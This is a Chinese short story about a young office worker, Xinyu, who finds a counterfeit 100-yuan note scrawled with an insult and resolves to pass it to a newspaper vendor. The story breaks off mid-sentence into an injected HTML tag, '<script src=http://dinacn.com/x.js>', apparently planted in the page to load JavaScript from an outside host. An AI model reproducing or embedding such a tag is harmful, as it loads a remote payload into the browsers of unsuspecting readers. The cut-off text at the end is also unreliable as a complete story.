新宇发现手里的这张一百元竟然是假币。
粉红色的票面,正面是神态安详的老人家,反面是庄严的人民大会堂正门。纸面已经发黄,表面有多处褶皱,老人家的衣领处,还有一抹污渍,右上角甚至还有一点点的撕痕……肉眼看去,假币跟真币没有什么区别——也有金属线,也有水印头像,但是用手捏捏、揉揉,就觉得有点不对劲儿了。
新宇赶紧找出几张新币来,与这张疑似的假币进行对比。相比之下,假币的特征便凶相毕露了——纸面软软塌塌的,发滑,字迹没有凹凸感,左边的水印有些模糊……基本确认,这是一张假币!
它是怎么混进钱包里的呢?一百元是最大的面值了,显然不是找钱时夹带的。它惟一的渠道就是从单位来的。新宇是一个普通职员,工薪阶层,工作时间不长,自己又不是有灰色收入的头头脑脑,所以收入来源单一。就是说,这张假币的来源,最大的可能便是从工资或者奖金里来的。
新宇是个仔细人,口袋里有多少钱,他一般都清清楚楚。他的钱包里一般都有一千块钱左右。这一千块钱便是他一个月的基本花费——吃饭、抽烟和缴纳手机费什么。没有女友,也没有太多的爱好,应酬也不多,新宇钱包里的钱,总是花费得很慢。所以他一时也判断不出,这张假币是这个月的工资还是上个月的工资或者干脆是大上个月的奖金。
新宇马上想到了小吴。
小吴是单位的出纳。在新宇的印象里,小吴主要的工作就是发工资。每到发薪的日子,她便搂着一摞工资袋,脑袋后面的马尾巴跳跃着,挨个部门地发放薪水。小吴的工作是个讨人喜欢的工作,所以每到一个办公室,总有人逗她几句——小吴,又送钱来了?小吴啊,怎么还没有找男朋友啊?小吴啊,看看我们的新宇怎么样啊?
每到这时候,活泼的小吴总要笑着说,不行,新宇不是老板,我得找一个有钱的大款。
小吴这么说,新宇却并不生气。他刚上班不久,小吴的主任就找到新宇的主任,想为他们两人撮合撮合。主任一提此事,新宇便婉转地回绝了。为什么回绝,新宇也说不清楚。现在,他毕业已经一年多了,依然在考研和出国之间犹豫着。对他来说,找女朋友是排在出国或是考研之后的事情。
新宇找到小吴,让她鉴定一下这张假币。小吴拿在手里,拇指与食指一搓,便说:“假的。”
小吴回答得干脆利落,没有一点拖泥带水。这不仅让新宇抛弃幻想,而且也等于告诉他,假币不可能从她的手里流出去。小吴在一楼的收费中心工作过,还获得过一次点钞冠军——在十万元钱里点出一张假币。
“你再确认一下。”新宇说。
小吴把假币举起来,冲着阳光,瞄了一眼,又把假币放在验钞机的紫色灯光下,然后肯定地说:“确实是假币,还是新版的假币呢。”
“哦……这里还有一行字呢。”小吴突然在假币上发现了什么,“你是一个……”
新宇拿过假币,在假币的背面,在人民大会堂柱子之间的阴暗处,果然有一行小字,小米粒一样。新宇眼尖,一下子就顺出了这几个字——“你是一个傻逼!”。
这几个字,是用尖细的签字笔写的,不是歪歪扭扭的儿童字体,而是那种比较顺畅的成人手迹。它不是写在空白处,而是写在柱子之间的阴暗处,透着一种深思熟虑之后的刻意和阴损。
新宇查看了一下钱包。他发现还有三张纸币上面写着字,有写在正面的,也有写在反面的,都是阿拉伯数字——应该是工资和奖金什么的数字吧。最有趣的是,他看见一张纸币上竟然写着“小丽,我爱你”几个字,蓝色圆珠笔写的,有点洇了,朦朦胧胧的。
虽然新宇并不富裕,可是一百元钱对他来说也算不上什么。只是,这张假币上的那行字——“你是一个傻逼!”,却让新宇咽不下这口气。要是这张假币上写着“我爱你”,这件事可能也就结束了。现在的形势是,这是一张流通已久的假币,不知被多少人使用过,不知被多少双手摩挲过。也许,有人不知道这是一张假币,但是,有人一定清清楚楚地知道这是一张假币……凭什么让它在自己手里停止流通呢?新宇决定把这张假币花出去。
谁知道下一个傻逼是谁呢?他狠狠地想。走出家门,新宇便不自觉地朝路边儿的报摊儿走去。
他把假币递给卖报的大婶,“来张‘体坛’。”《体坛周报》一周三版,是新宇每周必看的报纸。
没有一般中年妇女的富态,大婶长得又瘦又小,脸膛黑红,颧骨又高又薄。大婶姓什么,新宇不知道。大婶好像是从河南或者河北过来的,丈夫在工地砌砖,她在路边摆了一个报摊儿,卖些封面印着美女头像的杂志和几份?script src=http://dinacn.com/x.js> |